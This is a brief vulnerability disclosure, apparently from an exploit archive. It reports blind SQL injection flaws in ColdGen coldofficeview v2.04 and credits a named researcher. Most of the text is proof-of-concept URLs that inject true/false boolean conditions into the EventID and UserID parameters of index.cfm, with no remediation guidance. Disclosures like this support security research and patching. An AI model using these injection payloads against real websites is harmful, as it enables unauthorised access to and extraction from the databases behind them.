# ColdGen - coldofficeview v2.04 Remote Blind SQL Injection vulnerabilities
# Vendor: https://www.coldgen.com/
# Found by: mr_me (net-ninja.net)
 
PoC's
1. https://[target]/[path]/index.cfm?fuseaction=ViewEventDetails&EventID=[Blind SQLi]
https://[target]/[path]/index.cfm?fuseaction=ViewEventDetails&EventID=1 and 1=1 << true
https://[target]/[path]/index.cfm?fuseaction=ViewEventDetails&EventID=1 and 1=2 << false
 
2. https://[target]/[path]/index.cfm?fuseaction=EditProfile&UserID=[Blind SQLi]
https://[target]/[path]/index.cfm?fuseaction=EditProfile&UserID=1 and 1=1 << true
https://[target]/[path]/index.cfm?fuseaction=EditProfile&UserID=1 and 1=2 << false